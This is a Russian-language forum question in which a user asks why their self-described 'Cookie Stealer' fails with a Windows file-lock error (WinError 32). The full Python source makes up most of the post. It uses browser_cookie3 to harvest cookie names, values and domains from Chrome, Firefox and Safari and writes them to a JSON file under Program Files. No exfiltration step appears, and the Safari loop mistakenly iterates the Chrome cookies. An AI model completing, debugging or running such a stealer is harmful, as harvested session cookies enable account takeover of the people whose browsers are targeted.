PermissionError: [WinError 32] Процесс не может получить доступ к файлу, так как этот файл занят другим процессом

Что и как

Я пытался создать Cookie Stealer что бы просто потестить. И я получаю ошибку при запуске исходника. Заранее хочу сказать: запускал от имени админа в консоли, файлы создаются даже через ошибку, но в самом cookie.json текст такого содержания - {"chrome": [], "firefox": [], "safari": []}, искал ответы, именно на свой вопрос не нашел. Сама ошибка:

PermissionError: [WinError 32] Процесс не может получить доступ к файлу, так как этот файл занят другим процессом: 'C:\Users\E8E5~1\AppData\Local\Temp\tmpdc2k43l4.sqlite' None

Теперь к коду:

import os
import json
import browser_cookie3

os.mkdir('C:/Program Files/CsDump')

try:
    chrome = browser_cookie3.chrome()
except:
    chrome = None

try:
    firefox = browser_cookie3.firefox()
except:
    firefox = None

try:
    safari = browser_cookie3.safari()
except:
    safari = None

cookie_list = {
    "chrome": [],
    "firefox": [],
    "safari": []
}

print(chrome)
if(chrome!=None) and (len(chrome)!=0):
    for cookie in chrome:
            cookie_list["chrome"].append({
                "Name": cookie.name,
                "Value": cookie.value,
                "Domain": cookie.domain,
                "Secure": str(cookie.secure),
                "ExpireTime": str(cookie.expires)
            })

if(firefox!=None) and (len(firefox)!=0):
    for cookie in firefox:
            cookie_list["firefox"].append({
                "Name": cookie.name,
                "Value": cookie.value,
                "Domain": cookie.domain,
                "Secure": str(cookie.secure),
                "ExpireTime": str(cookie.expires)
            })

if(safari!=None) and (len(safari)!=0):
    for cookie in chrome:
            cookie_list["safari"].append({
                "Name": cookie.name,
                "Value": cookie.value,
                "Domain": cookie.domain,
                "Secure": str(cookie.secure),
                "ExpireTime": str(cookie.expires)
            })

with open('C:/Program Files/CsDump/cookies.json', 'w') as f:
    f.write(json.dumps(cookie_list))

Ответы (0 шт):